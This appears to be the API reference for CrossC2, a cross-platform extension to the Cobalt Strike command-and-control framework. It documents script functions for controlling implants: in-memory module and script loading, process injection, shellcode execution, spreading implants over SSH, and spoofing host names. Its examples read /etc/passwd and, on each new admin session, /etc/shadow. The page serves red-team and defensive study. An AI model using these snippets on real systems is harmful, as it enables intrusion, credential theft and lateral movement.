-
Notifications
You must be signed in to change notification settings - Fork 35
API Reference
对传入的@(arg1, arg2, arg3, ..., argN) 进行 String类型Args 编码
参数
$1: index 从第几个值开始作为起始点进行编码 (从0开始计算)
$2: @args_array
return: 编码后 CC2Kit 可用的args值
例子
ex: 在内存执行脚本时,用到的技术
cs:cc_python import time; print('hello world')
$data = transportStrings(1, @_);
$data = "import time; print('hello world')"
这样的数据传入后台ssh_alias函数时,得到的值为 $( bid, "import", "time;", "print('hello", "world')" ) 为了从这类数据获取传入的完整字符串,就可以使用 transportStrings 获取第一个值以后的数据 $data = transportStrings(1, $3);
对传入的 @(arg1, arg2, arg3, ..., argN) 进行 CC2Kit所使用的 Args格式 编码
参数
$1: index 从第几个值开始作为起始点进行编码 (从0开始计算)
$2: @args_array
return: 编码后 CC2Kit 可用的args值
例子 ex:
in:
$a = @('a', 'b', 'c', 'd')
$out = transportArgs(0, $a)
out:
$out = A7B6BCZ==
对传入的 @(arg1, arg2, arg3, ..., argN) 进行分割
参数
$1: index 从第几个值开始作为起始点进行分割子数组 (从0开始计算)
$2: @args_array
return: 返回子数组
例子 ex:
in:
$a = @('a', 'b', 'c', 'd')
$out = transportArgsArray(2, $a)
out:
$out = @('c', 'd')
生成随机字符串
参数
$1 = $count //字符串长度
例子
$random_str = random_string(8);
检查会话是否为 ssh 类型(CrossC2)
例子
foreach $session (beacons()) {
if (-isssh $session['id']) {
println($session);
}
}
Check if a session is an SSH session or not. Arguments
$1 - Beacon/Session ID
Example
command ssh_sessions {
foreach $session (beacons()) {
if (-isssh $session['id']) {
println($session);
}
}
}
检查会话是否为 x64 架构
例子
foreach $session (beacons()) {
if (-is64 $session['id']) {
println($session);
}
}
Check if a session is on an x64 system or not (Beacon only). Arguments
$1 - Beacon/Session ID
Example
command x64 {
foreach $session (beacons()) {
if (-is64 $session['id']) {
println($session);
}
}
}
检查会话是否为存活
例子
foreach $bid (beacon_ids()) {
if (-isactive $bid) {
println("$bid is active!");
}
}
Check if a session is active or not. A session is considered active if (a) it has not acknowledged an exit message AND (b) it is not disconnected from a parent Beacon.
Arguments
$1 - Beacon/Session ID
Example
command active {
local('$bid');
foreach $bid (beacon_ids()) {
if (-isactive $bid) {
println("$bid is active!");
}
}
}
检查会话是否为管理员权限
例子
foreach $session (beacons()) {
if (-isadmin $session['id']) {
println($session);
}
}
Check if a session has admin rights Arguments
$1 - Beacon/Session ID
Example
command admin_sessions {
foreach $session (beacons()) {
if (-isadmin $session['id']) {
println($session);
}
}
}
获取部署了CrossC2 beacon的site列表
例子
%beacon_site = getCrossC2Site();
%beacon_site = %(
1: ('CrossC2 beacon MacOS', 'https://teamserver.com/os_beacon'),
2: ...
)
获取已创建的CrossC2 Listener 列表
例子
%beacon_listener = getCrossC2Listener();
%beacon_listener = %(
1: ('CrossC2 Listener xxx'),
2: ...
)
从已创建的CrossC2 listener中获取Beacon数据
参数
$1 = $listener // 已创建的 CrossC2 Listener 名称
$2 = $type // beacon 类型
main -> 可执行文件
lib -> 动态库
例子
$libbeaconData = getCrossC2Beacon('CrossC2 Listener Mac ssl', 'lib');
获取活跃的会话列表
例子
%sessionMap = getSSHSession();
%sessionMap = %(
1: ('10.0.0.1', 'test_server'),
2: ...
)
内存加载执行 动态库
/ 可执行文件
参数
$1 = $bid
$2 = $taskType // 任务类型
$3 = $taskName // 任务名称
$4 = $taskResType // 任务执行结果的数据类型
$5 = $loadFileName // 需要加载的本地文件路径
$6 = $taskArgs // 任务执行时传递的参数
$taskType { // 任务类型
'so' // Linux 动态库
'elf' // Linux 可执行文件
'dylib' // MacOS 动态库
'macho' // MacOS 可执行文件
}
$taskResType { // 任务执行结果的数据类型
'info' // 常规的执行结果
'screenshot' // 屏幕截图数据
'keystrokes' // 键盘记录结果
'portscan' // 端口扫描结果
'...'
'...MAGIC_NUM...' // CobaltStrike自带功能任务编号
}
$taskArgs = base64_encode('arg1^arg2^arg3^...^argN') // 需要传递的参数列表以 `^` 字符进行后,进行base64编码传入
动态库编写详见: https://gloxec.github.io/CrossC2/zh_cn/api/ 数据类型详见: https://gloxec.github.io/CrossC2/zh_cn/api/commons.html
例子
bcrossc2_load_dyn($bid, 'so', 'c2_plugin_demo', 'info', 'c:\\linux\\\demo.so', base64_encode('this is arg1^arg2^end'));
// 或在插件中使用前文提到的 transportArgs() 函数来快速编码
ssh_alias cc2_demo {
$bid = $1;
$task_arg1 = $2;
$task_arg2 = $3;
$t_args = transportArgs(2, @_); // 将从传入参数列表的第2个元素开始,编码为 CC2Kit 可用的任务参数
// 原始的调用
bcrossc2_load_dyn($bid, 'so', 'c2_plugin_demo', 'info', 'c:\\linux\\\demo.so', base64_encode($task_arg1 . '^' . $task_arg2));
// 借助 transportArgs() 快速传入任务参数
bcrossc2_load_dyn($bid, 'so', 'c2_plugin_demo', 'info', 'c:\\linux\\\demo.so', $t_args);
}
更加灵活的内存加载执行 动态库
/ 可执行文件
参数
$1 = $bid
$2 = $taskType // 任务类型
$3 = $taskName // 任务名称
$4 = $taskResType // 任务执行结果的数据类型
$5 = $taskNeedRun // 在第一次加载时是否需要立即执行
$6 = $taskNeedPersistence // 加载至目标的模块是否需要长久保留供下次直接调用
$7 = $taskXorKey // 传递至目标的模块XOR加密值
$8 = $loadFileName // 需要加载的本地文件路径
$9 = $taskArgs // 任务执行时传递的参数
$taskNeedPersistence {
'yes' // 当持持久化保留时,团队所有成员可通过 shell 命令直接调用该模块
'no'
}
例子
bcrossc2_load_dyn($bid, 'so', 'c2_plugin_demo', 'info', 'c:\\linux\\\demo.so', base64_encode('this is arg1^arg2^end'));
模块在目标上成功加载后,团队所有成员均可 shell 命令直接调用该模块
shell <cc2-run> <module_name$$> <process_name> <arg1> <arg2> ... <argN>
<cc2-run> 调用目标上存在的模块
<module_name$$> 模块在目标机上的别名
<process_name> 模块在运行时显示的进程名称 (对可执行文件类而言)
<arg1> 模块运行传入的参数
<arg2>
ex:
shell cc2-run cc2_demo_aliasName$$ java arg1 arg2
内存执行脚本
参数
$1 = $bid
$2 = $scriptType // 脚本类型
$3 = $scriptEngPath // 脚本解释器路径
$4 = $taskResType // 任务执行结果的数据类型
$5 = $loadFileName // 需要加载的本地文件路径
$6 = $taskArgs // 脚本执行时传递的参数
$scriptType { // 脚本类型
'python' // Linux 动态库
'bash' // Linux 可执行文件
'ruby' // MacOS 动态库
'perl' // MacOS 可执行文件
'php'
'...'
}
$scriptEngPath { // 脚本解释器路径
'null' // 将在目标 PATH 环境中按指定的 $scriptType 名称来搜索
'/usr/bin/python2.7' // 强制指定目标环境脚本解释器路径
'...'
}
例子
brun_script_in_mem($id, 'python', 'null', 'info', 'c:\\demo.py', $transportArg);
brun_script_in_mem($id, 'python', '/usr/local/xxx/bin/python2.7', 'info', 'c:\\demo.py', $transportArg);
支持回调的文件上传
参数
$1 = $bid
$2 = $file_data // 文件内容
$3 = $file_rpath // 远程目标存放的目录位置
$4 = $file_rname // 远程目标存放名称
$5 = $cb // 文件上传完毕的回调函数
$6 = $cb_args // 回调函数传入的参数 @(arg1, arg2, ...)
例子
sub up_jump_cb {
...
}
bawait_upload_raw($bid, $beaconData, '/tmp/', 'beacon', &up_jump_cb, @(arg1, arg2, arg3));
支持回调的文件上传
参数
$1 = $bid
$2 = $file_lpath // 本地文件路径
$3 = $file_rpath // 远程目标存放的目录位置
$4 = $file_rname // 远程目标存放名称
$5 = $cb // 文件上传完毕的回调函数
$6 = $cb_args // 回调函数传入的参数 @(arg1, arg2, ...)
例子
sub up_jump_cb {
...
}
bawait_upload($bid, 'c:\\beacon.data', '/tmp/', 'beacon', &up_jump_cb, @(arg1, arg2, arg3));
向指定进程进行动态库注入
参数
$1 = $bid
$2 = $pid // 被注入的PID
$3 = $inject_so_data // 需要注入的动态库
$4 = $temp_workpath // 临时工作目录
例子
bcc2_inject($bid, 1234, $lib_beacon_data, "/tmp/");
通过ssh方式进行 CrossC2 Beacon 投递上线
参数
$1 = $bid
$2 = $username // ssh 用户名
$3 = $password // ssh 密码
$4 = $privatekey // ssh 私钥
$5 = $passtype // 登录方式 'ssh' / 'ssh-key'
$6 = $listener // 已创建的 CrossC2 Listener
$7 = @targetArray // 目标列表
$8 = $workpath // 临时工作目录
例子
bssh_jump($bid, "root", "123456", "", "ssh", "test_demo_cc2_listener", @("10.0.1.3", "10.0.1.4"), "/tmp/");
切换会话的工作目录
参数
$1 = $bid
$2 = $pwd
例子
bcd($1, '/home/centos/');
Ask a Beacon to change it's current working directory. Arguments
$1 - the id for the beacon. This may be an array or a single ID.
$2 - the folder to change to.
Example
alias home {
$home = "/home/" . binfo($1, "user");
bcd($1, $home);
}
获取指定目录下文件列表
参数
$1 = $bid
$2 = path
<$3> = sub callback { //可选的回调函数
// 回调函数中可获取的参数
$1 = beacon ID
$2 = the folder
$3 = results
}
例子
bls($bid, '/etc/');
bls($bid, '/etc/', &callback);
Task a Beacon to list files
Arguments
$1 - the id for the beacon. This may be an array or a single ID.
$2 - the folder to list files for. Use . for the current folder.
$3 - an optional callback function with the ps results. Arguments to the callback are: $1 = beacon ID, $2 = the folder, $3 = results
Example
on beacon_initial {
bls($1, ".");
}
获取进程信息
参数
$1 = $bid
<$2> = sub callback { //可选的回调函数
// 回调函数中可获取的参数
$1 = beacon ID
$2 = results
}
例子
bps($bid)
bps($bid, &callback);
Task a Beacon to list processes
Arguments
$1 - the id for the beacon. This may be an array or a single ID.
$2 - an optional callback function with the ps results. Arguments to the callback are: $1 = beacon ID, $2 = results
Example
on ssh_initial {
bps($1);
}
调用 sh / bash
执行命令
参数
$1 = $bid
$2 = $command
例子
bshell($bid, "whoami");
Ask Beacon to run a command with sh
Arguments
$1 - the id for the beacon. This may be an array or a single ID.
$2 - the command and arguments to run
Example
bshell($bid, "whoami");
创建目录
参数
$1 = $bid
$2 = $dir
例子
bmkdir($bid, "/tmp/dir_a");
Ask Beacon to make a directory
Arguments
$1 - the id for the beacon. This may be an array or a single ID.
$2 - the folder to create
Example
bmkdir($bid, "/tmp/dir_a");
调用kill强制杀死指定PID的进程
参数
$1 = $bid
$2 = $pid
例子
bkill($bid, 1234);
Ask Beacon to kill a process
Arguments
$1 - the id for the beacon. This may be an array or a single ID.
$2 - the PID to kill
Example
bkill($1, 1234);
删除指定的文件或目录
参数
$1 = $bid
$2 = $file_or_dir
例子
brm($bid, "/tmp/dir_a");
brm($bid, "/tmp/file_b.txt");
Ask Beacon to remove a file or folder.
Arguments
$1 - the id for the beacon. This may be an array or a single ID.
$2 - the file or folder to remove
Example
brm($bid, "/tmp/dir_a");
brm($bid, "/tmp/file_b.txt");
设定beacon的休眠时间
参数
$1 = $bid
$2 = $sleep_time // 以秒为单位
例子
bsleep($bid, 5); // sleep 5s
bsleep($bid, 7200); // sleep 2h
Ask Beacon to change its beaconing interval and jitter factor. Arguments
$1 - the id for the beacon. This may be an array or a single ID.
$2 - the number of seconds between beacons.
Example
bsleep($bid, 5); // sleep 5s
bsleep($bid, 7200); // sleep 2h
设定beacon的环境变量
参数
$1 = $bid
$2 = $key // 环境变量名称
$3 = $value // 环境变量值
例子
bcc2_setenv($bid, "NEW_PATH", "./:/bin/:/sbin/");
Ask Beacon to set an environment variable
Arguments
$1 - the id for the beacon. This may be an array or a single ID.
$2 - the environment variable to set
$3 - the value to set the environment variable to (specify $null to unset the variable)
Example
bcc2_setenv($bid, "NEW_PATH", "./:/bin/:/sbin/");
删除beacon的环境变量
参数
$1 = $bid
$2 = $key // 环境变量名称
例子
bcc2_unsetenv($bid, "NEW_PATH");
让beacon尝试获取 uid=0
的root高权限,用于解决提权后beacon进程仍旧处于低权限的问题
参数
$1 = $bid
例子
bcc2_getsystem($bid);
beacon 创建新进程后进行执行传入的 shellcode
参数
$1 = $bid
$2 = $shellcdoe // '\x90\x90\x90\x90'
例子
bshellcode($bid, "\\x90\\x90\\x90\\x90");
改变beacon的内网IP元数据,用于解决多网卡情况下内网IP显示非期望网卡的问题
参数
$1 = $bid
$2 = $ip
例子
bsetlocalip($bid, "10.0.0.2");
改变beacon的操作系统元数据
参数
$1 = $bid
$2 = $ostype
$ostype:
android
Apple iOS
Cisco IOS
Firewall
FreeBSD
Linux
MacOS X
NetBSD
OpenBSD
Printer
Solaris
Unknown
VMware
Windows
例子
bsetostype($bid, "Firewall");
改变beacon的机器名称元数据
参数
$1 = $bid
$2 = $hostname
例子
bsethostname($bid, "dev-gitlab_backup_server");
bsethostname($bid, "pro-chat_server");
通过beacon上传文件
参数
$1 = $bid
$2 = $local_file_path // 待上传的本地文件, cs4.6以下版本有 1M 的文件大小限制,需使用bupload_raw
例子
bupload($bid, script_resource("evil.bin"));
bupload($bid, "/tmp/evil.sh");
Ask a Beacon to upload a file
Arguments
$1 - the id for the beacon. This may be an array or a single ID.
$2 - the local path to the file to upload
Example
bupload($bid, "/tmp/evil.sh");
通过beacon上传文件
参数
$1 = $bid
$2 = $remote_filename // 远程文件储存的名称
$3 = $data // 待上传的数据
<$4> = $local_filepath // 本地待上传的文件路径
例子
bupload_raw($bid, "evil.sh", "this is test");
Ask a Beacon to upload a file
Arguments
$1 - the id for the beacon. This may be an array or a single ID.
$2 - the remote file name of the file
$3 - the raw content of the file
$4 - [optional] the local path to the file (if there is one)
Example
bupload_raw($bid, "evil.sh", "this is test");
通过beacon下载文件
参数
$1 = $bid
$2 = $remote_filepath // 待下载的文件路径
例子
bdownload($bid, "/etc/passwd");
Ask a Beacon to download a file
Arguments
$1 - the id for the beacon. This may be an array or a single ID.
$2 - the file to request
Example
bdownload($bid, "/etc/passwd");
派生一个新会话
参数
$1 = $bid
例子
bcc2_spawn($bid);
Ask Beacon to spawn a new session
Arguments
$1 - the id for the beacon. This may be an array or a single ID.
Example
item "&Spawn" {
openPayloadHelper(lambda({
bspawn($bids, $1);
}, $bids => $1));
}
获取会话的工作目录
参数
$1 = $bid
例子
bpwd($bid);
Ask Beacon to print its current working directory
Arguments
$1 - the id for the beacon. This may be an array or a single ID.
Example
alias pwd {
bpwd($bid);
}
结束活跃的会话
参数
$1 = $bid
例子
bexit($bid);
Ask a Beacon to exit.
Arguments
$1 - the id for the beacon. This may be an array or a single ID.
Example
item "&Die" {
binput($1, "exit");
bexit($1);
}
通过TCP方式连接到 CrossC2 子节点
参数
$1 = $bid
$2 = $target_ip
$3 = $target_port
例子
bconnect($bid, '10.0.0.3', 4444);
Ask Beacon (or SSH session) to connect to a Beacon peer over a TCP socket
Arguments
$1 - the id for the beacon. This may be an array or a single ID.
$2 - the target to connect to
$3 - [optional] the port to use. Default profile port is used otherwise.
Note
Use &beacon_link if you want a script function that will connect or link based on a listener configuration.
Example
bconnect($bid, '10.0.0.3', 4444);
清除还未下发的会话任务
参数
$1 = $bid
例子
bclear($bid);
This is the "oops" command. It clears the queued tasks for the specified beacon.
Arguments
$1 - the id for the beacon. This may be an array or a single ID.
Example
bclear($1);
对会话进行信息备注
参数
$1 = $bid
$2 = $note
例子
bnote($bid, 'dev-data_server');
Assign a note to the specified Beacon.
Arguments
$1 - the id for the beacon to post to
$2 - the note content
Example
bnote($1, "foo")
显示正在上传的文件
on ssh_initial { // 当 CrossC2 会话上线时
bsleep($1, 60); // 自动设置 sleep 时间为 60s
if (-isadmin $1) {
bshell($1, "cat /etc/shadow");
}
}
CobaltStrike's cross-platform C2 expansion framework